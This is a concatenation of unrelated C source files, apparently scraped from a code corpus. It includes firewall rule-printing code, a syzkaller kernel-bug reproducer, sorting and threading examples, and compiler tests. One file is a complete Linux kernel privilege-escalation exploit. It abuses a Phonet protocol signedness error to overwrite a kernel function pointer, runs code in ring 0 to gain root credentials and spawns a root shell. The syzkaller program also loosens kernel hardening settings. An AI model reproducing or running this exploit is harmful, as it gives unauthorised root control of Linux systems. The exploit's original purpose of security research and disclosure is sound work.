printf("(%u, ", r->return_icmp & 255); else printf("(%s, ", ic->name); if (ic6 == NULL) printf("%u)", r->return_icmp6 & 255); else printf("%s)", ic6->name); break; } } else printf(" drop"); } if (r->direction == PF_IN) printf(" in"); else if (r->direction == PF_OUT) printf(" out"); if (r->log) { printf(" log"); if (r->log & ~PF_LOG || r->logif) { int count = 0; printf(" ("); if (r->log & PF_LOG_ALL) printf("%sall", count++ ? ", " : ""); if (r->log & PF_LOG_SOCKET_LOOKUP) printf("%suser", count++ ? ", " : ""); if (r->logif) printf("%sto pflog%u", count++ ? ", " : "", r->logif); printf(")"); } } if (r->quick) printf(" quick"); if (r->ifname[0]) { if (r->ifnot) printf(" on ! %s", r->ifname); else printf(" on %s", r->ifname); } if (r->rt) { if (r->rt == PF_ROUTETO) printf(" route-to"); else if (r->rt == PF_REPLYTO) printf(" reply-to"); else if (r->rt == PF_DUPTO) printf(" dup-to"); printf(" "); print_pool(&r->rpool, 0, 0, r->af, PF_PASS); } if (r->af) { if (r->af == AF_INET) printf(" inet"); else printf(" inet6"); } if (r->proto) { struct protoent *p; if ((p = getprotobynumber(r->proto)) != NULL) printf(" proto %s", p->p_name); else printf(" proto %u", r->proto); } print_fromto(&r->src, r->os_fingerprint, &r->dst, r->af, r->proto, verbose, numeric); if (r->uid.op) print_ugid(r->uid.op, r->uid.uid[0], r->uid.uid[1], "user", UID_MAX); if (r->gid.op) print_ugid(r->gid.op, r->gid.gid[0], r->gid.gid[1], "group", GID_MAX); if (r->flags || r->flagset) { printf(" flags "); print_flags(r->flags); printf("/"); print_flags(r->flagset); } else if (r->action == PF_PASS && (!r->proto || r->proto == IPPROTO_TCP) && !(r->rule_flag & PFRULE_FRAGMENT) && !anchor_call[0] && r->keep_state) printf(" flags any"); if (r->type) { const struct icmptypeent *it; it = geticmptypebynumber(r->type-1, r->af); if (r->af != AF_INET6) printf(" icmp-type"); else printf(" icmp6-type"); if (it != NULL) printf(" %s", it->name); else printf(" %u", r->type-1); if (r->code) { const struct icmpcodeent *ic; ic = geticmpcodebynumber(r->type-1, r->code-1, r->af); if (ic != NULL) printf(" code %s", ic->name); else printf(" code %u", r->code-1); } } if (r->tos) printf(" tos 0x%2.2x", r->tos); if (r->prio) printf(" prio %u", r->prio == PF_PRIO_ZERO ? 0 : r->prio); if (r->scrub_flags & PFSTATE_SETMASK) { char *comma = ""; printf(" set ("); if (r->scrub_flags & PFSTATE_SETPRIO) { if (r->set_prio[0] == r->set_prio[1]) printf("%s prio %u", comma, r->set_prio[0]); else printf("%s prio(%u, %u)", comma, r->set_prio[0], r->set_prio[1]); comma = ","; } printf(" )"); } if (!r->keep_state && r->action == PF_PASS && !anchor_call[0]) printf(" no state"); else if (r->keep_state == PF_STATE_NORMAL) printf(" keep state"); else if (r->keep_state == PF_STATE_MODULATE) printf(" modulate state"); else if (r->keep_state == PF_STATE_SYNPROXY) printf(" synproxy state"); if (r->prob) { char buf[20]; snprintf(buf, sizeof(buf), "%f", r->prob*100.0/(UINT_MAX+1.0)); for (i = strlen(buf)-1; i > 0; i--) { if (buf[i] == '0') buf[i] = '\0'; else { if (buf[i] == '.') buf[i] = '\0'; break; } } printf(" probability %s%%", buf); } opts = 0; if (r->max_states || r->max_src_nodes || r->max_src_states) opts = 1; if (r->rule_flag & PFRULE_NOSYNC) opts = 1; if (r->rule_flag & PFRULE_SRCTRACK) opts = 1; if (r->rule_flag & PFRULE_IFBOUND) opts = 1; if (r->rule_flag & PFRULE_STATESLOPPY) opts = 1; for (i = 0; !opts && i < PFTM_MAX; ++i) if (r->timeout[i]) opts = 1; if (opts) { printf(" ("); if (r->max_states) { printf("max %u", r->max_states); opts = 0; } if (r->rule_flag & PFRULE_NOSYNC) { if (!opts) printf(", "); printf("no-sync"); opts = 0; } if (r->rule_flag & PFRULE_SRCTRACK) { if (!opts) printf(", "); printf("source-track"); if (r->rule_flag & PFRULE_RULESRCTRACK) printf(" rule"); else printf(" global"); opts = 0; } if (r->max_src_states) { if (!opts) printf(", "); printf("max-src-states %u", r->max_src_states); opts = 0; } if (r->max_src_conn) { if (!opts) printf(", "); printf("max-src-conn %u", r->max_src_conn); opts = 0; } if (r->max_src_conn_rate.limit) { if (!opts) printf(", "); printf("max-src-conn-rate %u/%u", r->max_src_conn_rate.limit, r->max_src_conn_rate.seconds); opts = 0; } if (r->max_src_nodes) { if (!opts) printf(", "); printf("max-src-nodes %u", r->max_src_nodes); opts = 0; } if (r->overload_tblname[0]) { if (!opts) printf(", "); printf("overload <%s>", r->overload_tblname); if (r->flush) printf(" flush"); if (r->flush & PF_FLUSH_GLOBAL) printf(" global"); } if (r->rule_flag & PFRULE_IFBOUND) { if (!opts) printf(", "); printf("if-bound"); opts = 0; } if (r->rule_flag & PFRULE_STATESLOPPY) { if (!opts) printf(", "); printf("sloppy"); opts = 0; } for (i = 0; i < PFTM_MAX; ++i) if (r->timeout[i]) { int j; if (!opts) printf(", "); opts = 0; for (j = 0; pf_timeouts[j].name != NULL; ++j) if (pf_timeouts[j].timeout == i) break; printf("%s %u", pf_timeouts[j].name == NULL ? "inv.timeout" : pf_timeouts[j].name, r->timeout[i]); } printf(")"); } if (r->rule_flag & PFRULE_FRAGMENT) printf(" fragment"); if (r->rule_flag & PFRULE_NODF) printf(" no-df"); if (r->rule_flag & PFRULE_RANDOMID) printf(" random-id"); if (r->min_ttl) printf(" min-ttl %d", r->min_ttl); if (r->max_mss) printf(" max-mss %d", r->max_mss); if (r->rule_flag & PFRULE_SET_TOS) printf(" set-tos 0x%2.2x", r->set_tos); if (r->allow_opts) printf(" allow-opts"); if (r->action == PF_SCRUB) { if (r->rule_flag & PFRULE_REASSEMBLE_TCP) printf(" reassemble tcp"); printf(" fragment reassemble"); } if (r->label[0]) printf(" label \"%s\"", r->label); if (r->qname[0] && r->pqname[0]) printf(" queue(%s, %s)", r->qname, r->pqname); else if (r->qname[0]) printf(" queue %s", r->qname); if (r->tagname[0]) printf(" tag %s", r->tagname); if (r->match_tagname[0]) { if (r->match_tag_not) printf(" !"); printf(" tagged %s", r->match_tagname); } if (r->rtableid != -1) printf(" rtable %u", r->rtableid); if (r->divert.port) { #ifdef __FreeBSD__ printf(" divert-to %u", ntohs(r->divert.port)); #else if (PF_AZERO(&r->divert.addr, r->af)) { printf(" divert-reply"); } else { /* XXX cut&paste from print_addr */ char buf[48]; printf(" divert-to "); if (inet_ntop(r->af, &r->divert.addr, buf, sizeof(buf)) == NULL) printf("?"); else printf("%s", buf); printf(" port %u", ntohs(r->divert.port)); } #endif } if (!anchor_call[0] && (r->action == PF_NAT || r->action == PF_BINAT || r->action == PF_RDR)) { printf(" -> "); print_pool(&r->rpool, r->rpool.proxy_port[0], r->rpool.proxy_port[1], r->af, r->action); } }

the_stack_data/76700025.c

// possible deadlock in free_huge_page // https://syzkaller.appspot.com/bug?id=4f0ba0228710c04e580c // status:0 // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include <dirent.h> #include <endian.h> #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <signal.h> #include <stdarg.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/prctl.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> #include <linux/futex.h> static void sleep_ms(uint64_t ms) { usleep(ms * 1000); } static uint64_t current_time_ms(void) { struct timespec ts; if (clock_gettime(CLOCK_MONOTONIC, &ts)) exit(1); return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000; } static void thread_start(void* (*fn)(void*), void* arg) { pthread_t th; pthread_attr_t attr; pthread_attr_init(&attr); pthread_attr_setstacksize(&attr, 128 << 10); int i = 0; for (; i < 100; i++) { if (pthread_create(&th, &attr, fn, arg) == 0) { pthread_attr_destroy(&attr); return; } if (errno == EAGAIN) { usleep(50); continue; } break; } exit(1); } typedef struct { int state; } event_t; static void event_init(event_t* ev) { ev->state = 0; } static void event_reset(event_t* ev) { ev->state = 0; } static void event_set(event_t* ev) { if (ev->state) exit(1); __atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE); syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000); } static void event_wait(event_t* ev) { while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0); } static int event_isset(event_t* ev) { return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE); } static int event_timedwait(event_t* ev, uint64_t timeout) { uint64_t start = current_time_ms(); uint64_t now = start; for (;;) { uint64_t remain = timeout - (now - start); struct timespec ts; ts.tv_sec = remain / 1000; ts.tv_nsec = (remain % 1000) * 1000 * 1000; syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts); if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) return 1; now = current_time_ms(); if (now - start > timeout) return 0; } } static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { int err = errno; close(fd); errno = err; return false; } close(fd); return true; } static void kill_and_wait(int pid, int* status) { kill(-pid, SIGKILL); kill(pid, SIGKILL); for (int i = 0; i < 100; i++) { if (waitpid(-1, status, WNOHANG | __WALL) == pid) return; usleep(1000); } DIR* dir = opendir("/sys/fs/fuse/connections"); if (dir) { for (;;) { struct dirent* ent = readdir(dir); if (!ent) break; if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0) continue; char abort[300]; snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort", ent->d_name); int fd = open(abort, O_WRONLY); if (fd == -1) { continue; } if (write(fd, abort, 1) < 0) { } close(fd); } closedir(dir); } else { } while (waitpid(-1, status, __WALL) != pid) { } } static void setup_test() { prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0); setpgrp(); write_file("/proc/self/oom_score_adj", "1000"); } static void setup_sysctl() { static struct { const char* name; const char* data; } files[] = { {"/sys/kernel/debug/x86/nmi_longest_ns", "10000000000"}, {"/proc/sys/kernel/hung_task_check_interval_secs", "20"}, {"/proc/sys/net/core/bpf_jit_enable", "1"}, {"/proc/sys/net/core/bpf_jit_kallsyms", "1"}, {"/proc/sys/net/core/bpf_jit_harden", "0"}, {"/proc/sys/kernel/kptr_restrict", "0"}, {"/proc/sys/kernel/softlockup_all_cpu_backtrace", "1"}, {"/proc/sys/fs/mount-max", "100"}, {"/proc/sys/vm/oom_dump_tasks", "0"}, {"/proc/sys/debug/exception-trace", "0"}, {"/proc/sys/kernel/printk", "7 4 1 3"}, {"/proc/sys/net/ipv4/ping_group_range", "0 65535"}, {"/proc/sys/kernel/keys/gc_delay", "1"}, {"/proc/sys/vm/nr_overcommit_hugepages", "4"}, {"/proc/sys/vm/oom_kill_allocating_task", "1"}, }; for (size_t i = 0; i < sizeof(files) / sizeof(files[0]); i++) { if (!write_file(files[i].name, files[i].data)) printf("write to %s failed: %s\n", files[i].name, strerror(errno)); } } struct thread_t { int created, call; event_t ready, done; }; static struct thread_t threads[16]; static void execute_call(int call); static int running; static void* thr(void* arg) { struct thread_t* th = (struct thread_t*)arg; for (;;) { event_wait(&th->ready); event_reset(&th->ready); execute_call(th->call); __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED); event_set(&th->done); } return 0; } static void execute_one(void) { int i, call, thread; int collide = 0; again: for (call = 0; call < 6; call++) { for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0])); thread++) { struct thread_t* th = &threads[thread]; if (!th->created) { th->created = 1; event_init(&th->ready); event_init(&th->done); event_set(&th->done); thread_start(thr, th); } if (!event_isset(&th->done)) continue; event_reset(&th->done); th->call = call; __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED); event_set(&th->ready); if (collide && (call % 2) == 0) break; event_timedwait(&th->done, 45); break; } } for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++) sleep_ms(1); if (!collide) { collide = 1; goto again; } } static void execute_one(void); #define WAIT_FLAGS __WALL static void loop(void) { int iter = 0; for (;; iter++) { int pid = fork(); if (pid < 0) exit(1); if (pid == 0) { setup_test(); execute_one(); exit(0); } int status = 0; uint64_t start = current_time_ms(); for (;;) { if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid) break; sleep_ms(1); if (current_time_ms() - start < 5 * 1000) continue; kill_and_wait(pid, &status); break; } } } uint64_t r[1] = {0xffffffffffffffff}; void execute_call(int call) { intptr_t res = 0; switch (call) { case 0: res = syscall(__NR_socket, 2ul, 1ul, 0); if (res != -1) r[0] = res; break; case 1: *(uint16_t*)0x20000280 = 2; *(uint16_t*)0x20000282 = htobe16(0x4e20); *(uint32_t*)0x20000284 = htobe32(0xe0000002); syscall(__NR_bind, r[0], 0x20000280ul, 0x10ul); break; case 2: *(uint32_t*)0x20000040 = 1; syscall(__NR_setsockopt, r[0], 1, 0x3c, 0x20000040ul, 0xfff0ul); break; case 3: *(uint16_t*)0x20000080 = 2; *(uint16_t*)0x20000082 = htobe16(0x4e20); *(uint32_t*)0x20000084 = htobe32(0); syscall(__NR_sendto, r[0], 0ul, 0ul, 0x20020001ul, 0x20000080ul, 0x10ul); break; case 4: *(uint64_t*)0x20001900 = 0; *(uint32_t*)0x20001908 = 0; *(uint64_t*)0x20001910 = 0x20000600; *(uint64_t*)0x20000600 = 0x200000c0; memcpy((void*)0x200000c0, "o", 1); *(uint64_t*)0x20000608 = 1; *(uint64_t*)0x20001918 = 1; *(uint64_t*)0x20001920 = 0; *(uint64_t*)0x20001928 = 0; *(uint32_t*)0x20001930 = 0; *(uint32_t*)0x20001938 = 0; *(uint64_t*)0x20001940 = 0; *(uint32_t*)0x20001948 = 0; *(uint64_t*)0x20001950 = 0; *(uint64_t*)0x20001958 = 0; *(uint64_t*)0x20001960 = 0; *(uint64_t*)0x20001968 = 0; *(uint32_t*)0x20001970 = 0; *(uint32_t*)0x20001978 = 0; *(uint64_t*)0x20001980 = 0; *(uint32_t*)0x20001988 = 0; *(uint64_t*)0x20001990 = 0x20002040; *(uint64_t*)0x20002040 = 0x20001c40; memcpy((void*)0x20001c40, ".", 1); *(uint64_t*)0x20002048 = 1; *(uint64_t*)0x20001998 = 1; *(uint64_t*)0x200019a0 = 0; *(uint64_t*)0x200019a8 = 0; *(uint32_t*)0x200019b0 = 0; *(uint32_t*)0x200019b8 = 0x11000000; *(uint64_t*)0x200019c0 = 0; *(uint32_t*)0x200019c8 = 0; *(uint64_t*)0x200019d0 = 0; *(uint64_t*)0x200019d8 = 0; *(uint64_t*)0x200019e0 = 0; *(uint64_t*)0x200019e8 = 0; *(uint32_t*)0x200019f0 = 0; *(uint32_t*)0x200019f8 = 0; *(uint64_t*)0x20001a00 = 0; *(uint32_t*)0x20001a08 = 0; *(uint64_t*)0x20001a10 = 0; *(uint64_t*)0x20001a18 = 0; *(uint64_t*)0x20001a20 = 0; *(uint64_t*)0x20001a28 = 0; *(uint32_t*)0x20001a30 = 0; *(uint32_t*)0x20001a38 = 0x15000000; *(uint64_t*)0x20001a40 = 0; *(uint32_t*)0x20001a48 = 0; *(uint64_t*)0x20001a50 = 0; *(uint64_t*)0x20001a58 = 0; *(uint64_t*)0x20001a60 = 0; *(uint64_t*)0x20001a68 = 0; *(uint32_t*)0x20001a70 = 0; *(uint32_t*)0x20001a78 = 0; syscall(__NR_sendmmsg, r[0], 0x20001900ul, 6ul, 0x60c5840ul); break; case 5: syscall(__NR_mmap, 0x20000000ul, 0xff5000ul, 0x2000002ul, 0xcc272ul, -1, 0x80000000ul); break; } } int main(void) { syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul); syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul); syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul); setup_sysctl(); loop(); return 0; }

the_stack_data/215769066.c

/* *算法名称：折半插入排序（引入二分搜索的插入排序） *基本思想：通过构建有序序列，对于未排序数据，在已排序序列中从利用二分搜索，找到相应位置并插入。相比传统的插入排序减少了比较次数。 *时间复杂度：O(n2) *空间复杂度：O(1) */ #include<stdio.h> #include<math.h> void insertionSort(int[], int, int); int binarySearch(int[], int, int, int); main(){ int arr[] = {1, 2, 55, 4, 37, 3, 44, 21, 33, 304 ,45, 16}; int len = sizeof(arr)/4; insertionSort(arr, 0, len - 1); int i; for(i = 0 ; i < len; i++){ printf("%d ", arr[i]); } } void insertionSort(int arr[], int left, int right){ int temp_num, i; for(i = left + 1; i <= right; i++){ temp_num = arr[i]; //第一个没排好序的数字 int j = i - 1;//最后一个排好序的数字的索引 //利用二分搜索找到正确位置 int index = binarySearch(arr, temp_num, 0, j); index = abs(index); //把arr数组中从index到最后一个排好序的数字全部右移一位 for(; j >= index; j--){ arr[j + 1] = arr[j]; } arr[index] = temp_num; } } //二分搜索，找到目标值时返回值为下标，找不到时返回应放置的位置（负数） int binarySearch(int arr[], int x, int left, int right){ if(left > right){ return -left; } int mid = left + (right - left)/2; if(arr[mid] == x){ return mid; } else if(arr[mid] > x){ return binarySearch(arr, x, left, mid - 1); } else if(arr[mid] < x){ return binarySearch(arr, x, mid + 1, right); } }

the_stack_data/139962.c

/* * Copyright (C) 2009-2021 Alex Smith * * Permission to use, copy, modify, and/or distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ /** * @file * @brief Memory moving function. */ #include <string.h> /** * Copy overlapping data in memory. * * Copies bytes from a source memory area to a destination memory area, * where both areas may overlap. * * @param dest The memory area to copy to. * @param src The memory area to copy from. * @param count The number of bytes to copy. * * @return Destination location. */ void *memmove(void *dest, const void *src, size_t count) { const unsigned char *s; unsigned char *d; if (src != dest) { if (src > dest) { memcpy(dest, src, count); } else { d = (unsigned char *)dest + (count - 1); s = (const unsigned char *)src + (count - 1); while (count--) *d-- = *s--; } } return dest; }

the_stack_data/125141749.c

#include<stdio.h> int main(){ // METHODE 1 for(int i = 1; i <= 100; i++){ printf("%d - ", i); } printf("\n"); // METHODE 2 int i = 0; while(i < 100){ printf("%d - ", ++i); } printf("\n"); // METHODE 3 i = 0; do{ printf("%d - ", ++i ); }while(i < 100); return 0; }

the_stack_data/58519.c

// C Compiler flag: -fopenmp #include <stdio.h> #include <omp.h> #define N 20 int main(int argc, char *argv[]) { int myid; omp_set_dynamic(0); // запретить библиотеке openmp менять число потоков во время исполнения omp_set_num_threads(3); // установить число потоков в 2 int threadsCount = omp_get_max_threads(); printf("%d\n",threadsCount); #pragma omp parallel if(threadsCount > 1) private(myid, threadsCount) { myid = omp_get_thread_num(); threadsCount = omp_get_num_threads(); printf("Hello, It's parallel and I'm thread number %d from %d\n", myid, threadsCount); } omp_set_num_threads(1); threadsCount = omp_get_max_threads(); #pragma omp parallel if(omp_get_num_threads() > 1) private(myid, threadsCount) { myid = omp_get_thread_num(); threadsCount = omp_get_num_threads(); printf("Hello, it's sequence and I'm thread number %d from %d\n", myid, threadsCount); } return 0; }

the_stack_data/845074.c

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #include <time.h> #include <stdlib.h> #define NUMBER_OF_CHILDREN 5 volatile sig_atomic_t counting_childs = 0; void handle_signal(int signo, siginfo_t *sinfo, void *context) { counting_childs--; char buffer[46] = "\0"; sprintf(buffer, "\nChild just finished, I still have %d children\n",counting_childs); write(STDOUT_FILENO, buffer, (sizeof(buffer)+1)); } int main () { struct sigaction act; int i=0,j=0,status=0; pid_t pids[NUMBER_OF_CHILDREN]; memset(&act, 0, sizeof(struct sigaction)); sigfillset(&act.sa_mask); act.sa_sigaction = handle_signal; act.sa_flags = SA_SIGINFO|SA_NOCLDWAIT|SA_NOCLDSTOP; sigaction(SIGCHLD, &act, NULL); for (i=0; i<NUMBER_OF_CHILDREN; i++) { pids[i] = fork(); if (pids[i] > 0){ counting_childs++; } else { for (j=i*200; j<=(i+5)*200; j++){ printf("[%d]\n ",j); } exit(pids[i]); } } while (counting_childs != 0){ pause(); printf("paused\n"); } for (j=0; j<NUMBER_OF_CHILDREN; j++){ wait(&status); } return 0; }

the_stack_data/1241590.c

// RUN: %clang_cc1 %s -emit-llvm -o - | FileCheck %s // CHECK: hidden global int X __attribute__ ((__visibility__ ("hidden"))) = 123;

the_stack_data/18887256.c

void fence() { asm("sync"); } void lwfence() { asm("lwsync"); } void isync() { asm("isync"); } int __unbuffered_cnt = 0; int __unbuffered_p0_r1 = 0; int __unbuffered_p0_r3 = 0; int __unbuffered_p1_r1 = 0; int __unbuffered_p2_r1 = 0; int __unbuffered_p2_r3 = 0; int __unbuffered_p3_r1 = 0; int x = 0; int y = 0; void *P0(void *arg) { __unbuffered_p0_r1 = y; lwfence(); __unbuffered_p0_r3 = x; // Instrumentation for CPROVER fence(); __unbuffered_cnt++; } void *P1(void *arg) { __unbuffered_p1_r1 = 1; x = __unbuffered_p1_r1; // Instrumentation for CPROVER fence(); __unbuffered_cnt++; } void *P2(void *arg) { __unbuffered_p2_r1 = x; lwfence(); __unbuffered_p2_r3 = y; // Instrumentation for CPROVER fence(); __unbuffered_cnt++; } void *P3(void *arg) { __unbuffered_p3_r1 = 1; y = __unbuffered_p3_r1; // Instrumentation for CPROVER fence(); __unbuffered_cnt++; } int main() { __CPROVER_ASYNC_0: P0(0); __CPROVER_ASYNC_1: P1(0); __CPROVER_ASYNC_2: P2(0); __CPROVER_ASYNC_3: P3(0); __CPROVER_assume(__unbuffered_cnt == 4); fence(); // EXPECT:exists __CPROVER_assert( !(__unbuffered_p0_r1 == 1 && __unbuffered_p0_r3 == 0 && __unbuffered_p2_r1 == 1 && __unbuffered_p2_r3 == 0), "Program proven to be relaxed for PPC, model checker says YES."); return 0; }

the_stack_data/1026084.c

/* * Linux Kernel CAP_SYS_ADMIN to root exploit * by Dan Rosenberg * @djrbliss on twitter * * Usage: * gcc -w caps-to-root.c -o caps-to-root * sudo setcap cap_sys_admin+ep caps-to-root * ./caps-to-root * * This exploit is NOT stable: * * * It only works on 32-bit x86 machines * * * It only works on >= 2.6.34 kernels (it could probably be ported back, but * it involves winning a race condition) * * * It requires symbol support for symbols that aren't included by default in * several distributions * * * It requires the Phonet protocol, which may not be compiled on some * distributions * * * You may experience problems on multi-CPU systems * * It has been tested on a stock Ubuntu 10.10 installation. I wouldn't be * surprised if it doesn't work on other distributions. * * ---- * * Lately there's been a lot of talk about how a large subset of Linux * capabilities are equivalent to root. CAP_SYS_ADMIN is a catch-all * capability that, among other things, allows mounting filesystems and * injecting commands into an administrator's shell - in other words, it * trivially allows you to get root. However, I found another way to get root * from CAP_SYS_ADMIN...the hard way. * * This exploit leverages a signedness error in the Phonet protocol. By * specifying a negative protocol index, I can craft a series of fake * structures in userspace and cause the incrementing of an arbitrary kernel * address, which I then leverage to execute arbitrary kernel code. * * Greets to spender, cloud, jono, kees, pipacs, redpig, taviso, twiz, stealth, * and bla. * */ #include <stdio.h> #include <fcntl.h> #include <sys/socket.h> #include <errno.h> #include <string.h> #include <linux/capability.h> #include <sys/utsname.h> #include <sys/mman.h> #include <unistd.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; int getroot(void) { commit_creds(prepare_kernel_cred(0)); return 0; } int konami(void) { /* Konami code! */ asm("inc %edx;" /* UP */ "inc %edx;" /* UP */ "dec %edx;" /* DOWN */ "dec %edx;" /* DOWN */ "shl %edx;" /* LEFT */ "shr %edx;" /* RIGHT */ "shl %edx;" /* LEFT */ "shr %edx;" /* RIGHT */ "push %ebx;" /* B */ "pop %ebx;" "push %eax;" /* A */ "pop %eax;" "mov $getroot, %ebx;" "call *%ebx;"); /* START */ return 0; } /* thanks spender... */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) return 0; oldstyle = 1; } while(ret != EOF) { if (!oldstyle) ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) continue; p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') p--; *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr); fclose(f); return addr; } } fclose(f); return 0; } int main(int argc, char * argv[]) { int sock, proto, i, offset = -1; unsigned long proto_tab, landing, target, pn_ops, pn_ioctl, *ptr; void * map; /* Create a socket to load the module for symbol support */ printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n"); sock = socket(PF_PHONET, SOCK_DGRAM, 0); if(sock < 0) { if(errno == EPERM) printf("[*] You don't have CAP_SYS_ADMIN.\n"); else printf("[*] Failed to open Phonet socket.\n"); return -1; } /* Resolve kernel symbols */ printf("[*] Resolving kernel symbols...\n"); proto_tab = get_kernel_sym("proto_tab"); pn_ops = get_kernel_sym("phonet_dgram_ops"); pn_ioctl = get_kernel_sym("pn_socket_ioctl"); commit_creds = get_kernel_sym("commit_creds"); prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred"); if(!proto_tab || !commit_creds || !prepare_kernel_cred || !pn_ops || !pn_ioctl) { printf("[*] Failed to resolve kernel symbols.\n"); return -1; } /* Thanks bla, for reminding me how to do basic math */ landing = 0x20000000; proto = 1 << 31 | (landing - proto_tab) >> 2; /* Map it */ printf("[*] Preparing fake structures...\n"); map = mmap((void *)landing, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if(map == MAP_FAILED) { printf("[*] Failed to map landing area.\n"); return -1; } /* Pointer to phonet_protocol struct */ ptr = (unsigned long *)landing; ptr[0] = &ptr[1]; /* phonet_protocol struct */ for(i = 1; i < 4; i++) ptr[i] = &ptr[4]; /* proto struct */ for(i = 4; i < 204; i++) ptr[i] = &ptr[204]; /* First, do a test run to calculate any offsets */ target = 0x30000000; /* module struct */ for(i = 204; i < 404; i++) ptr[i] = target; /* Map it */ map = mmap((void *)0x30000000, 0x2000000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if(map == MAP_FAILED) { printf("[*] Failed to map landing area.\n"); return -1; } printf("[*] Calculating offsets...\n"); socket(PF_PHONET, SOCK_DGRAM, proto); ptr = 0x30000000; for(i = 0; i < 0x800000; i++) { if(ptr[i] != 0) { offset = i * sizeof(void *); break; } } if(offset == -1) { printf("[*] Test run failed.\n"); return -1; } /* MSB of pn_ioctl */ target = pn_ops + 10 * sizeof(void *) - 1 - offset; /* Re-fill the module struct */ ptr = (unsigned long *)landing; for(i = 204; i < 404; i++) ptr[i] = target; /* Push pn_ioctl fptr into userspace */ printf("[*] Modifying function pointer...\n"); landing = pn_ioctl; while((landing & 0xff000000) != 0x10000000) { socket(PF_PHONET, SOCK_DGRAM, proto); landing += 0x01000000; } /* Map it */ map = mmap((void *)(landing & ~0xfff), 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if(map == MAP_FAILED) { printf("[*] Failed to map payload area.\n"); return -1; } /* Copy payload */ memcpy((void *)landing, &konami, 1024); printf("[*] Executing Konami code at ring0...\n"); ioctl(sock, 0, NULL); if(getuid()) { printf("[*] Exploit failed to get root.\n"); return -1; } printf("[*] Konami code worked! Have a root shell.\n"); execl("/bin/sh", "/bin/sh", NULL); }

the_stack_data/145693.c

// RUN: %clang -fopenmp -O -g -x c %s -S -disable-output -o %t // Do not crash ;) void foo(void) { #pragma omp critical ; } void bar(void) { foo(); foo(); }

the_stack_data/67325177.c

